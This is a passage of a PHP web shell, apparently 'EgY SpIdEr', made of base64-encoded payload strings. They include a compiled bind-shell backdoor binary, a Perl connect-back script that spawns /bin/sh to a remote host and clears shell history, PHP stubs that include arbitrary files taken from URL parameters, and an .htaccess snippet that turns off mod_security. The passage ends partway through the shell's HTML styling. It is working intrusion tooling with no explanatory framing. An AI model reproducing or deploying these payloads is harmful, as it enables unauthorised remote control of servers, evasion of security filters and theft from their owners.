2152 0ID1+IHMvaHR0cDpcL1wvW15cL10rLy87CnJldHVybiAoJGZpcnN0LCAkbWV0aG9kLCAkcmVtb3RlX2hvc3QsICRyZW1vdGVfcG9ydCk7Cn0Kc3ViIG
2153 9wZW5fY29ubmVjdGlvbiB7Cm15ICgkaG9zdCwgJHBvcnQpID0gQF9bMSwyXTsKbXkgKCRkZXN0X2FkZHIsICRjdXIpOwppZiAoJHBvcnQgIX4gL15cZ
2154 CskLykgewokcG9ydCA9IChnZXRzZXJ2YnluYW1lKCRwb3J0LCAidGNwIikpWzJdOwokcG9ydCA9IDgwIHVubGVzcyAoJHBvcnQpOwp9CiRob3N0ID0g
2155 aW5ldF9hdG9uICgkaG9zdCkgb3IgcmV0dXJuIDA7CiRkZXN0X2FkZHIgPSBzb2NrYWRkcl9pbiAoJHBvcnQsICRob3N0KTsKc29ja2V0ICgkX1swXSw
2156 gQUZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90b2NvbCkgb3IgZGllICJzb2NrZXQoKSA6ICQhIjsKY29ubmVjdCAoJF9bMF0sICRkZXN0X2FkZHIpIG
2157 9yIHJldHVybiAwOwokY3VyID0gc2VsZWN0KCRfWzBdKTsgIAokfCA9IDE7CnNlbGVjdCgkY3VyKTsKcmV0dXJuIDE7Cn0=";
2158                 $port_bind_bd_cs = "f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAoIUECDQAAAD4EgAAAAAAADQAIAAHACgAIgAfAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQIrAkAAKwJAAAFAAAAABAAAAEAAACsCQAArJkECKyZBAg0AQAAOAEAAAYAAAAAEAAAAgAAAMAJAADAmQQIwJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAAAAAAABEAAAATAAAAAAAAAAAAAAAQAAAAEQAAAAAAAAAAAAAACQAAAAgAAAAFAAAAAwAAAA0AAAAAAAAAAAAAAA8AAAAKAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAABAAAAAAAAAAcAAAALAAAAAAAAAAQAAAAMAAAADgAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC4AAAAAAAAAdQEAABIAAACgAAAAAAAAAHEAAAASAAAANAAAAAAAAADMAAAAEgAAAGoAAAAAAAAAWgAAABIAAABMAAAAAAAAAHgAAAASAAAAYwAAAAAAAAA5AAAAEgAAAFgAAAAAAAAAOQAAABIAAACOAAAAAAAAAOYAAAASAAAAOwAAAAAAAAA6AAAAEgAAAFMAAAAAAAAAOQAAABIAAAB1AAAAAAAAALkAAAASAAAAegAAAAAAAAArAAAAEgAAAEcAAAAAAAAAeAAAABIAAABvAAAAAAAAAA4AAAASAAAAfwAAAEiJBAgEAAAAEQAOAEAAAAAAAAAAOQAAABIAAAABAAAAAAAAAAAAAAAgAAAAFQAAAAAAAAAAAAAAIAAAAABfSnZfUmVnaXN0ZXJDbGFzc2VzAF9fZ21vbl9zdGFydF9fAGxpYmMuc28uNgBleGVjbABwZXJyb3IAZHVwMgBzb2NrZXQAc2VuZABhY2NlcHQAYmluZABzZXRzb2Nrb3B0AGxpc3RlbgBmb3JrAGh0b25zAGV4aXQAYXRvaQBfSU9fc3RkaW5fdXNlZABfX2xpYmNfc3RhcnRfbWFpbgBjbG9zZQBHTElCQ18yLjAAAAACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAQACAAAAAAAAAAEAAQAkAAAAEAAAAAAAAAAQaWkNAAACAKYAAAAAAAAAiJoECAYSAACYmgQIBwEAAJyaBAgHAgAAoJoECAcDAACkmgQIBwQAAKiaBAgHBQAArJoECAcGAACwmgQIBwcAALSaBAgHCAAAuJoECAcJAAC8mgQIBwoAAMCaBAgHCwAAxJoECAcMAADImgQIBw0AAMyaBAgHDgAA0JoECAcQAABVieWD7AjoMQEAAOiDAQAA6FsEAADJwwD/NZCaBAj/JZSaBAgAAAAA/yWYmgQIaAAAAADp4P////8lnJoECGgIAAAA6dD/////JaCaBAhoEAAAAOnA/////yWkmgQIaBgAAADpsP////8lqJoECGggAAAA6aD/////JayaBAhoKAAAAOmQ/////yWwmgQIaDAAAADpgP////8ltJoECGg4AAAA6XD/////JbiaBAhoQAAAAOlg/////yW8mgQIaEgAAADpUP////8lwJoECGhQAAAA6UD/////JcSaBAhoWAAAAOkw/////yXImgQIaGAAAADpIP////8lzJoECGhoAAAA6RD/////JdCaBAhocAAAAOkA////Me1eieGD5PBQVFJorYgECGhciAQIUVZoQIYECOhf////9JCQVYnlU+gbAAAAgcO/FAAAg+wEi4P8////hcB0Av/Qg8QEW13Dixwkw1WJ5YPsCIA94JoECAB0DOscg8AEo9yaBAj/0qHcmgQIixCF0nXrxgXgmgQIAcnDVYnlg+wIobyZBAiFwHQSuAAAAACFwHQJxwQkvJkECP/QycOQkFWJ5VeD7GSD5PC4AAAAAIPAD4PAD8HoBMHgBCnEx0XkAQAAAMdF+EyJBAjHRCQIAAAAAMdEJAQBAAAAxwQkAgAAAOgJ////iUXwg33wAHkYxwQkjIkECOg0/v//xwQkAQAAAOio/v//ZsdF1AIAx0XYAAAAAItFDIPABIsAiQQk6Jv+//8Pt8CJBCTosP7//2aJRdbHRCQQBAAAAI1F5IlEJAzHRCQIAgAAAMdEJAQBAAAAi0XwiQQk6BL+//+NRdTHRCQIEAAA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L2NydG4uUwAxLmMAX0RZTkFNSUMAX19maW5pX2FycmF5X2VuZABfX2ZpbmlfYXJyYXlfc3RhcnQAX19pbml0X2FycmF5X2VuZABfR0xPQkFMX09GRlNFVF9UQUJMRV8AX19pbml0X2FycmF5X3N0YXJ0AGV4ZWNsQEBHTElCQ18yLjAAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAZm9ya0BAR0xJQkNfMi4wAF9fZHNvX2hhbmRsZQBfX2xpYmNfY3N1X2ZpbmkAYWNjZXB0QEBHTElCQ18yLjAAX2luaXQAbGlzdGVuQEBHTElCQ18yLjAAc2V0c29ja29wdEBAR0xJQkNfMi4wAF9zdGFydABfX2xpYmNfY3N1X2luaXQAX19ic3Nfc3RhcnQAbWFpbgBfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4wAGR1cDJAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AGJpbmRAQEdMSUJDXzIuMABfZmluaQBleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfX2k2ODYuZ2V0X3BjX3RodW5rLmJ4AF9lbmQAc2VuZEBAR0xJQkNfMi4wAGh0b25zQEBHTElCQ18yLjAAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18A";
2159                 $back_connects = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KaWYgKCEkQVJHVlswXSkgew0KICBwcmludGYgIlVzYWdlOiAkMCBbSG9zdF0gPFBvcnQ+XG4iOw0KICBleGl0KDEpOw0KfQ0KcHJpbnQgIlsqXSBEdW1waW5nIEFyZ3VtZW50c1xuIjsNCiRob3N0ID0gJEFSR1ZbMF07DQokcG9ydCA9IDgwOw0KaWYgKCRBUkdWWzFdKSB7DQogICRwb3J0ID0gJEFSR1ZbMV07DQp9DQpwcmludCAiWypdIENvbm5lY3RpbmcuLi5cbiI7DQokcHJvdG8gPSBnZXRwcm90b2J5bmFtZSgndGNwJykgfHwgZGllKCJVbmtub3duIFByb3RvY29sXG4iKTsNCnNvY2tldChTRVJWRVIsIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCAkcHJvdG8pIHx8IGRpZSAoIlNvY2tldCBFcnJvclxuIik7DQpteSAkdGFyZ2V0ID0gaW5ldF9hdG9uKCRob3N0KTsNCmlmICghY29ubmVjdChTRVJWRVIsIHBhY2sgIlNuQTR4OCIsIDIsICRwb3J0LCAkdGFyZ2V0KSkgew0KICBkaWUoIlVuYWJsZSB0byBDb25uZWN0XG4iKTsNCn0NCnByaW50ICJbKl0gU3Bhd25pbmcgU2hlbGxcbiI7DQppZiAoIWZvcmsoICkpIHsNCiAgb3BlbihTVERJTiwiPiZTRVJWRVIiKTsNCiAgb3BlbihTVERPVVQsIj4mU0VSVkVSIik7DQogIG9wZW4oU1RERVJSLCI+JlNFUlZFUiIpOw0KICBwcmludCAiLS09PSBDb25uZWN0QmFjayBCYWNrZG9vciB2cyAxLjAgYnkgU25JcEVyX1NBIHNuaXBlci1zYS5jb20gPT0tLSAgXG5cbiI7IA0Kc3lzdGVtKCJ1bnNldCBISVNURklMRTsgdW5zZXQgU0FWRUhJU1QgO2VjaG8gLS09PVN5c3RlbWluZm89PS0tIDsgdW5hbWUgLWE7ZWNobzsNCmVjaG8gLS09PVVzZXJpbmZvPT0tLSA7IGlkO2VjaG87ZWNobyAtLT09RGlyZWN0b3J5PT0tLSA7IHB3ZDtlY2hvOyBlY2hvIC0tPT1TaGVsbD09LS0gIik7IA0KICBleGVjIHsnL2Jpbi9zaCd9ICctYmFzaCcgLiAiXDAiIHggNDsNCiAgZXhpdCgwKTsNCn0=";
2160                 $egy_ini = "PD8NCmVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7DQplY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KaW5jbHVkZSgkX0dFVFsiZmlsZSJdKTsNCmluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsNCmluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsNCmVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7DQplY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KaW5jbHVkZSgkX0dFVFsiZWd5Il0pOw0KPz4=";
2161                 $htacces = "PElmTW9kdWxlIG1vZF9zZWN1cml0eS5jPg0KICAgIFNlY0ZpbHRlckVuZ2luZSBPZmYNCiAgICBTZWNGaWx0ZXJTY2FuUE9TVCBPZmYNCjwvSWZNb2R1bGU+";
2162                 $egy_res = "PD8NCmVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7DQplY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KaW5jbHVkZSgkX0dFVFsiZmlsZSJdKTsNCmluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsNCmluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsNCmVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7DQplY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KaW5jbHVkZSgkX0dFVFsiZWd5Il0pOw0KPz4=";
2163                 $egy_vb = "DQo8aHRtbD48aGVhZD48dGl0bGU+RWdZIFNwSWRFciA8L3RpdGxlPg0KPFNUWUxFPg0KDQpCT0RZDQogew0KICAgICAgICBTQ1JPTExCQVItRkFDRS1DT0xPUjogIzAwMDAwMDsgU0NST0xMQkFSLUhJR0hMSUdIVC1DT0xPUjogIzAwMDAwMDsgU0NST0xMQkFSLVNIQURPVy1DT0xPUjogIzAwMDAwMDsgQ09MT1I6ICM2NjY2NjY7IFNDUk9MTEJBUi0zRExJR0hULUNPTE9SOiAjNzI2NDU2OyBTQ1JPTExCQVItQVJST1ctQ09MT1I6ICM3MjY0NTY7IFNDUk9MTEJBUi1UUkFDSy1DT0xPUjogIzI5MjkyOTsgRk9OVC1GQU1JTFk6IFZlcmRhbmE7IFNDUk9MTEJBUi1EQVJLU0hBRE9XLUNPTE9SOiAjNzI2NDU2DQp9DQoNCnRyIHsNCkJPUkRFUi1SSUdIVDogICNkYWRhZGEgOw0KQk9SREVSLVRPUDogICAgI2RhZGFkYSA7DQpCT1JERVItTEVGVDogICAjZGFkYWRhIDsNCkJPUkRFUi1CT1RUT006ICNkYWRhZGEgOw0KY29sb3I6ICNmZmZmZmY7DQp9DQp0ZCB7DQpCT1JERVItUklHSFQ6ICAjZGFkYWRhIDsNCkJPUkRFUi1UT1A6ICAgICNkYWRhZGEgOw0KQk9SREVSLUxFRlQ6ICAgI2RhZGFkYSA7DQpCT1JERVItQk9UVE9NOiAjZGFkYWRhIDsNCmNvbG9yOiAjZGFkYWRhOw0KfQ0KLnRhYmxlMSB7DQpCT1JERVI6IDE7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMDAwMDAwOw0KY29sb3I6ICMzMzMzMzM7DQp9DQoudGQxIHsNCkJPUkRFUjogMTsNCmZvbnQ6IDdwdCB0YWhvbWE7DQpjb2xvcjogI2ZmZmZmZjsNCn0NCi50cjEgew0KQk9SREVSOiAxOw0KY29sb3I6ICNkYWRhZGE7DQp9DQp0YWJsZSB7DQpCT1JERVI6ICAjZWVlZWVlICBvdXRzZXQ7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMDAwMDAwOw0KY29sb3I6ICNkYWRhZGE7DQp9DQppbnB1dCB7DQpCT1JERVItUklHSFQ6ICAjMDBGRjAwIDEgc29saWQ7DQpCT1JERVItVE9QOiAgICAjMDBGRjAwIDEgc29saWQ7DQpCT1JERVItTEVGVDogICMwMEZGMDAgMSBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICMwMEZGMDAgMSBzb2xpZDsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMzMzMzMzM7DQpmb250OiA5cHQgdGFob21hOw0KY29sb3I6ICNmZmZmZmY7DQp9DQpzZWxlY3Qgew0KQk9SREVSLVJJR0hUOiAgI2ZmZmZmZiAxIHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzk5OTk5OSAxIHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzk5OTk5OSAxIHNvbGlk